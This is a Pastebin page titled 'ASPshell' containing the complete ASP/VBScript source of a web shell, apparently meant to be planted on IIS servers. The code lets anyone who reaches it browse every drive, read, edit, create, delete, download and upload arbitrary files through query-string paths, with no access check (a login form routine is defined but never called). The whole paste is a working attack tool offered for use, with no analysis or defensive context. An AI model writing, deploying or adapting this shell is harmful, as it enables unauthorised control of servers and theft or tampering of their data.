Advertisement
Bayz21

ASPshell

Jun 2nd, 2017
1,007
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
ASP 16.40 KB | None | 0 0
  1. <%@ LANGUAGE="VBSCRIPT" %>
  2. <html>
  3. <head>
  4. <meta charset="utf-8">
  5. <meta name="viewport" content="width=device-width, initial-scale=1">
  6. <meta http-equiv="Content-Type" content="text/html; charset=windows-1252">
  7. <link rel="stylesheet" type="text/css" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.5/css/bootstrap.min.css">
  8. <link rel="stylesheet" type="text/css" media="screen" href="http://cheef.github.io/jquery-ace/stylesheets/pygment_twilight.css">
  9. <link rel="stylesheet" type="text/css" href="https://maxcdn.bootstrapcdn.com/font-awesome/4.5.0/css/font-awesome.min.css">
  10. <script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.0.0-alpha1/jquery.min.js"></script>
  11. <script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.5/js/bootstrap.min.js"></script>
  12. <script src="https://cdnjs.cloudflare.com/ajax/libs/ace/1.2.2/ace.js"></script>
  13. <script src="https://cdnjs.cloudflare.com/ajax/libs/ace/1.2.2/theme-twilight.js"></script>
  14. <script src="https://cdnjs.cloudflare.com/ajax/libs/ace/1.2.2/mode-vbscript.js"></script>
  15. <script src="https://cdnjs.cloudflare.com/ajax/libs/ace/1.2.2/snippets/vbscript.js"></script>
  16. <script src="http://cheef.github.io/jquery-ace/javascripts/jquery-ace.min.js"></script>
  17. <style type=text/css>
  18.  A:link {TEXT-DECORATION: none; color: #DDDDDD; font-weight: bold;}
  19.  A:visited {TEXT-DECORATION: none; color: #DD0000; font-weight: bold;}
  20.  A:hover {TEXT-DECORATION: none; color: #DDDD00; font-weight: bold;}
  21.  body {
  22.     background-color: #102000;
  23.     color: #FFFFFF;
  24.     border: 0;
  25. }
  26.  tr {
  27.     background-color: #102000;
  28.     color: #FFFFFF;
  29.     border: 0;
  30. }
  31.  td {
  32.     background-color: #102000;
  33.     color: #FFFFFF;
  34.     border: 0;
  35. }
  36. </style>
  37. </head>
  38. <body style="margin: 0; border:0;">
  39. <div class="container-fluit">
  40. <%  
  41.  action=request.querystring("action")
  42.  Select Case action
  43.  Case "delete_file"
  44.   deleteFile()
  45.  Case "download_file"
  46.   download()
  47.  Case "edit_file"
  48.   edit_file()
  49.  Case "create_folder"
  50.   create_folder()
  51.  Case "create_file"
  52.   create_file()
  53.  Case "upload_file"
  54.   upload_file()
  55.  Case "change_disk"
  56.   change_disk()
  57.  'Case else
  58.  End select
  59.  if (action<>"edit_file") and (action<>"create_folder") and (action<>"create_file") and (action<>"upload_file") and (action<>"change_disk") then
  60.   Main_display()
  61.  End if      
  62. %>
  63. <%
  64. '------------------------------------------------------------------------------
  65. Private Sub Main_display()
  66.    xPath=request.querystring("strPath")
  67.    if xPath="" then xPath=Server.MapPath("/")&"\"
  68.    Response.Write("<table class=""table table-bordered""><tr>")
  69.    Response.Write("<td colspan=""2"" style=""text-align: center; word-spacing: 15px;"">")
  70.    Response.Write("<a href=""VL.asp?action=change_disk""><button type=""button"" class=""btn btn-default btn-lg""><span class=""glyphicon glyphicon-hdd""></span>&nbsp;&nbsp;HDD&nbsp;&nbsp;</button></a>&nbsp;")  
  71.    Response.Write("<a href=""VL.asp?action=create_folder&strPath=" & xPath & """><button type=""button"" class=""btn btn-success btn-lg""><span class=""glyphicon glyphicon-folder-close""></span>&nbsp;&nbsp;FOLDER&nbsp;&nbsp;</button></a>&nbsp;")
  72.    Response.Write("<a href=""VL.asp?action=create_file&strPath=" & xPath & """><button type=""button"" class=""btn btn-info btn-lg""><span class=""glyphicon glyphicon-file""></span>&nbsp;&nbsp;FILE&nbsp;&nbsp;</button></a>&nbsp;")
  73.    Response.Write("<a href=""VL.asp?action=upload_file&strPath=" & xPath & """><button type=""button"" class=""btn btn-danger btn-lg""><span class=""glyphicon glyphicon-cloud-upload""></span>&nbsp;&nbsp;UPLOAD&nbsp;&nbsp;</button></a>&nbsp;")
  74.    Response.Write("<a href=""VL.asp""><button type=""button"" class=""btn btn-warning btn-lg""><span class=""glyphicon glyphicon-home""></span>&nbsp;&nbsp;HOME&nbsp;&nbsp;</button></a>")
  75.    Response.Write("</td></tr><tr>")
  76.    strDir = Request("strPath")
  77.    if strDir = "" Then strDir = Server.MapPath("/")
  78.       strParse = strDir
  79.    if Right(strParse, 1) <> "\" Then strParse = strParse & "\"
  80.       lngPos = InStr(1, strParse, "\")
  81.    strOut = "<i class=""fa fa-server""></i><b><a href=""VL.asp?strPath=" & Mid(strParse, 1, lngPos) & """> " & Left(strParse, lngPos) & "</a></b><br>"
  82.    x = 2
  83.    Do While lngPos <> 0
  84.       oldPos = lngPos
  85.    lngPos = InStr(oldPos + 1, strParse, "\")
  86.    if lngPos = 0 Then Exit Do
  87.       For y = 1 To x
  88.          strIndent = strIndent & " "
  89.    Next
  90.    strOut = strOut & strIndent & "&nbsp;&nbsp;<i class=""fa fa-folder-open""></i>&nbsp;<a href=""VL.asp?strPath=" & Mid(strParse, 1, lngPos) & """>" & Mid(strParse, oldPos + 1, lngPos - (oldPos + 1)) & "</a><br>"
  91.    x = x + 2
  92.    if lngPos = Len(strParse) Then Exit Do
  93.       Loop
  94.    Response.Write("<td style=""width: 50%;"">")
  95.    Response.Write(strOut)
  96.    strIndent = strIndent & " "
  97.    Set objFSObject = CreateObject("Scripting.FileSystemObject")
  98.    Set objFolder = objFSObject.GetFolder(strDir)
  99.    Set colFolders = objFolder.SubFolders
  100.    For Each intFol in colFolders
  101.       strFName = intFol.name
  102.       Response.Write(strIndent & "&nbsp;&nbsp;&nbsp;&nbsp;<i class=""fa fa-folder-o""></i>&nbsp;<a href=""VL.asp?strPath=" & intFol.Path & """>" & strFName &"</a><br>" & vbcrlf)
  103.    Next
  104.    Response.Write("</td>")
  105.    Response.Write("<td style=""width: 50%;"">")
  106.    Set colFiles = objFolder.Files
  107.    Response.Write("<table  class=""table"">")
  108.    For Each intF1 in colFiles
  109.       strFName = intF1.name
  110.       Response.write "<tr><td style=""width: 50%;""><a target=""_blank"" href=""VL.asp?strPath=" & strParse & "&strFile=" & strFName & "&action=edit_file" & """>" & strFName &"</a></td>"
  111.       Response.write "<td style=""width: 50%; text-align: right;""><a href=""VL.asp?strPath=" & strParse & "&strFile=" & strFName & "&action=delete_file" & """><button type=""button"" class=""btn btn-danger btn-xs"">" & "Delete" & "</button></a>"
  112.       Response.write "</td></tr>"
  113.    Next
  114.    Response.Write("</table></td></tr></table>")  
  115. End Sub
  116. '------------------------------------------------------------------------------
  117. Private Sub download()
  118.   dim oStream
  119.   dim szFileName
  120.   szFileName=Request.QueryString("strPath") & Request.QueryString("strFile")
  121.   set oStream=Server.CreateObject("ADODB.Stream")
  122.    oStream.Type=1
  123.    oStream.Open
  124.   on error resume next
  125.    oStream.LoadFromFile(szFileName)
  126.   if Err.Number=0 then
  127.    Response.AddHeader "Content-Disposition", "attachment; filename=" & FSO.GetFileName(szFileName)
  128.    Response.AddHeader "Content-Length", oStream.Size
  129.    Response.ContentType="bad/type"
  130.    Response.BinaryWrite oStream.Read
  131.   end if
  132.   oStream.Close
  133.   set oStream=nothing
  134.    Destroy()
  135. End sub
  136. '------------------------------------------------------------------------------
  137. Private Sub deletefile()
  138.   Set objFSObject = CreateObject("Scripting.FileSystemObject")
  139.   objFSObject.DeleteFile(request.querystring("strPath") & request.querystring("strFile"))
  140.   Response.redirect "VL.asp?strPath=" & request.querystring("strPath")
  141. End sub
  142. '------------------------------------------------------------------------------
  143. Private Sub upload_file()
  144.   Response.Write("<table  class=""table table-striped table-bordered"">")
  145.   Response.Write("<tr><td>Upload File</td></tr><tr><td>")
  146.   Response.Write("<form action='VL.asp?strPath=" & request.querystring("strPath") & "&action=upload_file&action_sub=save" & "' method=""post"" enctype=""multipart/form-data"" id=form name=form>")
  147.   Response.Write("<input name=file1 type=""file"">")
  148.   Response.Write("<input type=submit value=""UPLOAD""></form>")
  149.   Response.Write("</td></tr></table>")
  150.   if request.querystring("action_sub")="save" then
  151.   dim PosB, PosBBound, PosEBound, PosEHead, PosBFld, PosEFld,strPath
  152.   dim Boundary, BBoundary, PartBHeader, PartAHeader, PartContent, PartContent2, Binary
  153.   dim fso, fle, rst, DataString, FileName
  154.   dim I, Length, ContType, PartName, LastPart, BCrlf, PartContentLength
  155.   const adLongVarBinary = 205
  156.   const adLongVarchar = 201
  157.   If Request.ServerVariables("REQUEST_METHOD") = "POST" Then
  158.    ContType = Request.ServerVariables("HTTP_Content_Type")
  159.   If LCase(Left(ContType, 19)) = "multipart/form-data" Then
  160.    PosB = InStr(LCase(ContType), "boundary=")
  161.   If PosB > 0 Then Boundary = Mid(ContType, PosB + 9)
  162.    PosB = InStr(LCase(ContType), "boundary=")
  163.   If PosB > 0 then
  164.    PosB = InStr(Boundary, ",")
  165.   If PosB > 0 Then Boundary = Left(Boundary, PosB - 1)
  166.   end if
  167.    Length = CLng(Request.ServerVariables("HTTP_Content_Length"))
  168.   End If
  169.   If Length > 0 And Boundary <> "" Then
  170.    Boundary = "--" & Boundary
  171.   Binary = Request.BinaryRead(Length)
  172.   For I=1 to len(Boundary)
  173.    BBoundary = BBoundary & ChrB(Asc(Mid(Boundary,I,1)))
  174.   Next
  175.    BCrlf = ChrB(Asc(vbCr)) & ChrB(Asc(vbLf))
  176.    PosBBound = InStrB(Binary, BBoundary)
  177.    PosEBound = InStrB(PosBBound + LenB(BBoundary), Binary, BBoundary, 0)
  178.   Do While (PosBBound > 0 And PosEBound > 0)
  179.    PosEHead = InStrB(PosBBound + LenB(BBoundary), Binary, BCrlf & BCrlf)
  180.    PartBHeader = MidB(Binary, PosBBound + LenB(BBoundary) + 2, PosEHead - PosBBound - LenB(BBoundary) - 2) 
  181.    PartAHeader = ""
  182.   For I=1 to lenb(PartBHeader)
  183.    PartAHeader = PartAHeader & Chr(AscB(MidB(PartBHeader,I,1)))
  184.   Next
  185.   If Right(PartAHeader,1) <> ";" Then PartAHeader = PartAHeader & ";"
  186.    PartContent = MidB(Binary, PosEHead + 4, PosEBound - (PosEHead + 4) - 2)
  187.    PosBFld = Instr(lcase(PartAHeader),"name=")
  188.   If PosBFld > 0 Then
  189.    PosEFld = Instr(PosBFld,lcase(PartAHeader),";")
  190.   If PosEFld > 0 Then
  191.    PartName = Mid(PartAHeader,PosBFld+5,PosEFld-PosBFld-5)
  192.   end if
  193.   Do Until Left(PartName,1) <> """"
  194.    PartName = Mid(PartName,2)
  195.   Loop
  196.   Do Until Right(PartName,1) <> """"
  197.    PartName = Left(PartName,Len(PartName)-1)
  198.   Loop
  199.   end if
  200.    PosBFld = Instr(lcase(PartAHeader),"filename=""")
  201.   If PosBFld > 0 Then
  202.    PosEFld = Instr(PosBFld + 10,lcase(PartAHeader),"""")
  203.   If PosEFld > 0 Then
  204.    FileName = Mid(PartAHeader,PosBFld+10,PosEFld-PosBFld-10)
  205.   end if
  206.   Do Until Left(FileName,1) <> """"
  207.    FileName = Mid(FileName,2)
  208.   Loop
  209.   Do Until Right(FileName,1) <> """"
  210.    FileName = Left(FileName,Len(FileName)-1)
  211.   Loop
  212.   Else
  213.    FileName = ""
  214.   end if
  215.   if vartype(PartContent) = 8 then
  216.   Set rst = CreateObject("ADODB.Recordset")
  217.    PartContentLength = LenB(PartContent)
  218.   if PartContentLength > 0 then
  219.    rst.Fields.Append "data", adLongVarBinary, PartContentLength
  220.    rst.Open
  221.    rst.AddNew
  222.    rst("data").AppendChunk PartContent & ChrB(0)
  223.    rst.Update
  224.    PartContent2 = rst("data").GetChunk(PartContentLength)
  225.    rst.close
  226.   set rst = nothing
  227.   else
  228.    PartContent2 = ChrB(0)
  229.   End If
  230.   else
  231.    PartContent2 = PartContent
  232.   end if
  233.    PartContentLength = LenB(PartContent2)
  234.   if PartContentLength > 0 then
  235.   Set rst = CreateObject("ADODB.Recordset")
  236.    rst.Fields.Append "data", adLongVarChar, PartContentLength
  237.    rst.Open
  238.    rst.AddNew
  239.    rst("data").AppendChunk PartContent2
  240.    rst.Update
  241.    DataString = rst("data")
  242.    rst.close
  243.   set rst = nothing
  244.   Else
  245.    dataString = ""
  246.   End If
  247.   If FileName <> "" Then
  248.    FileName = Mid(Filename,InstrRev(FileName,"\")+1)
  249.   set fso = Server.CreateObject("Scripting.Filesystemobject")
  250.    strPath=request.querystring("strPath")
  251.   if strPath <> "" then
  252.   If right(strPath,1)<>"\" then strPath= strPath & "\"
  253.   set fle = fso.CreateTextFile(strPath & FileName)
  254.   else
  255.   set fle = fso.CreateTextFile(server.MapPath(FileName))
  256.   end if
  257.    fle.write DataString
  258.    fle.close
  259.   set fle = nothing
  260.   set fso = nothing
  261.   else
  262.   End If
  263.    LastPart = MidB(Binary, PosEBound + LenB(BBoundary), 2)
  264.   If LastPart = ChrB(Asc("-")) & ChrB(Asc("-")) Then
  265.    PosBBound = 0
  266.    PosEBound = 0
  267.   else
  268.    PosBBound = PosEBound
  269.    PosEBound = InStrB(PosBBound + LenB(BBoundary), Binary, BBoundary)
  270.   End If
  271.   loop
  272.   end if
  273.   end if
  274.   Response.redirect "VL.asp?strPath=" & request.querystring("strPath")
  275.   End if
  276. End sub
  277. '------------------------------------------------------------------------------
  278. Private Sub create_folder()
  279.   Response.Write("<table class=""table table-striped table-bordered"">")
  280.   Response.Write("<tr><td>NEW FOLDER</td></tr><tr><td>")
  281.   Response.Write("<form action='VL.asp?strPath=" & request.querystring("strPath") & "&action=create_folder&action_sub=save'" & " method=""post"">")
  282.   Response.Write("<input type=""text"" name=""newSubF"">")
  283.   Response.Write("<input type=""submit"" name=""submitButtonName"" value=""CREAT FOLDER""></form>")
  284.   Response.Write("</td></tr></table>")
  285.   if request.querystring("action_sub")="save" then
  286.    strPath=request.querystring("strPath")
  287.    Set objFSObject = CreateObject("Scripting.FileSystemObject")
  288.    if strPath <> "" then
  289.     If right(strPath,1)<>"/" then strPath= strPath & "/"
  290.      objFSObject.CreateFolder(strPath & request.form("newSubF"))
  291.     else
  292.      objFSObject.CreateFolder(strParse & request.form("newSubF"))
  293.     end if
  294.    Response.redirect "VL.asp?strPath=" & request.querystring("strPath")
  295.   end if  
  296. End sub
  297. '------------------------------------------------------------------------------
  298. Private Sub create_file()
  299.   Response.Write("<table class=""table"">")
  300.   Response.Write("<tr><td>NEW FILE</td></tr><tr><td>")
  301.   Response.Write("<form action='VL.asp?strPath=" & request.querystring("strPath") & "&action=create_file&action_sub=save'" & " method=""post"">")
  302.   Response.Write("<input type=""text"" name=""newFile"">")
  303.   Response.Write("<input type=""submit"" name=""submitButtonName"" value=""CREAT FILE""></form>")
  304.   Response.Write("</td></tr></table>")
  305.   if request.querystring("action_sub")="save" then
  306.    strPath=request.querystring("strPath")
  307.    Set objFSObject = CreateObject("Scripting.FileSystemObject")
  308.    if strPath <> "" then
  309.     If right(strPath,1)<>"/" then strPath= strPath & "/"
  310.      objFSObject.CreateTextFile(strPath & request.form("newFile"))
  311.     else
  312.      objFSObject.CreateTextFile(strParse & request.form("newFile"))
  313.     end if
  314.    Response.redirect "VL.asp?strPath=" & request.querystring("strPath")
  315.   End if  
  316. End sub
  317. '------------------------------------------------------------------------------
  318. Private Sub edit_file()
  319.   Set fso = Server.CreateObject("Scripting.FileSystemObject")
  320.   File=request.querystring("strFile")
  321.   Path=request.querystring("strPath")
  322.   str_edit_File=Path & File
  323.   response.write("<CODE>" & str_edit_File & "</CODE>")
  324.   action_sub=request.querystring("action_sub")
  325.   Set ts = fso.OpenTextFile (str_edit_File, 1, FALSE, FALSE)
  326.   If action_sub="save" then
  327.    Set ts = fso.CreateTextFile (str_edit_File)
  328.    ts.Write Request.Form("FileContent")
  329.    Set ts = fso.OpenTextFile (str_edit_File, 1, FALSE, FALSE)
  330.    Response.Write "<mark>SAVED SUCCESSFULLY</mark>"
  331.   End if
  332.   Response.Write("<form action='VL.asp?strPath=" & Path & "&strFile=" & File & "&action=edit_file&action_sub=save' id=form_edit method=post name=form_edit>")
  333.   Response.Write("<br><input id=submit1 name=submit1 type=submit value=""Save"">")
  334.   response.write("<Textarea class=my-code-area rows=39 name=FileContent style=""width: 100%"">")
  335.    On Error Resume Next
  336.   Response.Write Server.HTMLEncode(ts.ReadAll)
  337.   Response.write("</Textarea></form>")
  338. End sub
  339. '------------------------------------------------------------------------------
  340. Private Sub change_disk()
  341.   Response.Write("<table class=""table table-striped table-bordered"">")
  342.   Response.Write("<tr><td>HDD</td></tr><tr><td>")
  343.   Response.write("<form action=""VL.asp"" method=""get"">")
  344.   Server.ScriptTimeout = 30
  345.   Set fsDrive = CreateObject("Scripting.FileSystemObject")
  346.   Set drvHack = fsDrive.Drives
  347.   For Each drvType In drvHack
  348.      strDrives = strDrives & "<option value=""" & drvType & """>" & drvType & "</option>"
  349.      x = x + 1
  350.   Next
  351.   Response.write("<Select name=""strPath"">")
  352.   Response.write(strDrives)
  353.   Response.write("</Select><br><input type=""submit"" name=""submit"" value=""CHANGE HDD""></form>")
  354.   Response.Write("</td></tr></table>")    
  355. End sub
  356. '------------------------------------------------------------------------------
  357. Private Sub check_login()
  358.   Response.Write("<table class=""table table-striped table-bordered"">")
  359.   Response.Write("<tr><td></td></tr><tr><td>")
  360.   Response.Write("<form name=""Introd"" method=""post"" action=""VL.asp"">")
  361.   Response.Write("<input name=name>")
  362.   Response.Write("<input type=password name=password>")
  363.   Response.Write("<input type=submit value=""OK""></form>")
  364.   Response.Write("</td></tr></table>")  
  365. End sub
  366. '------------------------------------------------------------------------------
  367. %>
  368. <script>
  369.   $('.my-code-area').ace({ theme: 'twilight', lang: 'vbscript' })
  370. </script>
  371. </div>
  372.  
  373. </body>
  374. </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement